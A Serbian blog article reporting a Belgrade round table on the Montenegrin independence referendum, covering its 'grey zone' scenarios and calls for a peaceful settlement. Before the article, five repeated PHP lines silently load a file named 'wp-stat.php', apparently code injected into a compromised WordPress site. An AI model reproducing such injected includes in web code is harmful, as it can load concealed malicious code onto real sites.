@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); DAN POSLE – REFERENDUMA: Siva zona i posledice – Nedim Sejdinović

DAN POSLE – REFERENDUMA: Siva zona i posledice

Bez obzira kakav bude rezultat crnogorskog referenduma o nezavisnosti, odnosi Srbije i Crne Gore moraće se preformulisati, jer je svima jasno da Državna zajednica, na ovakav način uspostavljena, ne može funkcionisati – to je bila premisa od koje su krenuli organizatori okruglog stola “Crna Gora i Srbija u svetlu referenduma – dan posle” novosadski Centar za regionalizam i podgorički Centar za demokratiju i ljudska prava, koji je održan u Beogradu u ponedeljak 13. marta. Ovaj skup je zapravo nastavak podgoričkog okruglog stola na istu temu, održanog krajem januara, a njihov cilj je bio da se na racionalan, trezven i stručan način progovori o budućnosti SCG ili njenom kraju, da se o crnogorskom referendumu i njegovim posledicama progovori bez ostrašćenosti i suvišnih emocija. Učesnici su bili poznati ovdašnji i crnogorski politički i društveni analitičari: Vladimir Goati, Srđan Darmanović, Milan Popović, Latinka Perovoić, Aleksandar Popov i drugi.

– Kada se spomene crnogorski referendum, kod nas se uvek o tome govori sa mnogo strasti, podiže se tenzija i plaši se narod. Od političke halabuke do javnosti nije dopirala reč eksperata i ljudi koji govore, ne kroz vlastite utiske i emocije, već kroz konkretne činjenice o tome šta nas čeka ukoliko referendum uspe, ukoliko ne uspe ili ukoliko se nađemo u tzv. sivoj zoni, odnosno ako građani Crne Gore glasaju za nezavisnost u procentu većem od 50, a manjem od 55 odsto, koliko je potrebno za, prema prihvaćenim i od strane EU predloženim pravilima, proglašenje nezavisnosti – kaže za “Građanski list” Aleksandar Popov, direktor Centra za regionalizam.

Učesnici skupa su se složili da je u svakoj od tih varijanti potrebno pronaći političko rešenje u demokratskim okvirima i u institucijama. Zbog toga je, po njima, važno unapred upozoriti na posledice i jednog i drugog i trećeg scenarija i ukazati na načine kako se može obezbediti miran rasplet. Istakli su da “ko izgubi ima pravo da se ljuti, ali nema pravo da dovodi u pitanje stabilnost ne samo zemlje nego celog regiona”.

– U svakom slučaju, stanje ne može ostati isto, jer bi to bio nastavak procesa truljenja. I poslednji događaji – neuspeo pokušaj zasedanja Skupštine SCG i estradne demonstracije povodom izbora za pesmu koja će nas predstavljati na Evroviziji – govori da bi status quo vodio u lošem smeru, da bi tenzije dalje jačale i stvari počele da izmiču kontroli. Naš je zaključak da bi Evropska Unija, koja je predložila referendumski uslov od 55 odsto, morala aktivno da učestvuje u rešavanju problema ako se broj glasova za nezavisnost bude nalazio u tzv. sivoj zoni. U tom slučaju bi se možda moglo ići na stvaranje saveza nezavisnih država ili, što smatramo nemogućim, pokušati Državnu zajednicu učiniti efikasnom – kaže Popov.
Predsednik Centra za demokratiju i ljudska prava, politički analitičar Srđan Darmanović istakao je da bi u slučaju da blok partija za nezavisnost Crne Gore osvoji blizu 55 odsto glasova izašlih birača referendum verovatno bio ponovljen za tri godine. On je, međutim, istakao da bi to bilo najgore rešenje, odnosno odlaganje rešenja.

– Srbija bi bila opterećena nefunkcionalnom zajednicom. U slučaju da Brisel reaktivira predlog o zajednici nezavisnih država, tada bi pritisak sa Podgorice bio premešten na Beograd – kaže Darmanović.

a skupa je odaslana poruka vlastima u obe članice Državne zajednice da moraju ne samo prestati da šire strah kod građana od posledica referenduma, već da moraju preduzeti sve mere da se ti strahovi smanje, posebno oni vezani za državljanstvo, svojinska prava i slobodu kretanja robe. S tim u vezi, učesnici okruglog stola su se složili da rezultat referenduma ne sme da ugrozi stečena prava građana.

Popov, u razgovoru za GL, ističe da su ga “evrovizijska zbivanja” podsetila na događaje u praskozorje naših ratova, kada su se lomile stolice na stadionu zagrebačkog “Dinama”, a potom počele zagledati tablice kola, te su ona sa nepodobnim tablicama kamenovana.
– Moramo sve učiniti da se taj trend zaustavi, da se političari uozbilje, da se umesto širenja straha, nude konstruktivne ideje koje omogućavaju miran rasplet. Na kraju krajeva, ako su Slovačka i Češka mogle mirno da se raziđu, zašto ne bismo mogli i mi? – ističe Popov.
Na naše pitanje da li smatra da je građanska svest u Srbiji došla do tog nivoa da bi građani mogli da počnu da se pitaju zašto svi pokušavaju da pobegnu od Srbije i Beograda, Popov odgovara:

– Bila bi najlogičnija stvar na svetu da se to počnu pitati. Međutim, očito je previše magle na površini i stvara se atmosfera koja me podseća na ono da kada đak dobije lošu ocenu, optuži nastavnike da ga mrze. Sam ovaj cirkus oko sahrane Slobodana Miloševića je veoma loš znak, a maglu seju upravo oni koji to ne bi smeli – ljudi koji vode ovu državu i društvo, koji bi morali da budu spremni da preuzmu rizik i ljudima hrabro kažu koji je jedini put oporavka Srbije. Stalno ponavljam da mi nemamo državnike već političare-kalkulante, a čovek je po prirodi takav da ne voli da čuje ružne reči o sebi. Mnogo je lakše nekoga drugog proglasiti krivim za vlastite nedaće a ne priznati da si sam doprineo njima ne razmišljajući svojom glavom, donoseći pogrešne odluke – zaključuje Popov.

Nedim Sejdinović

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.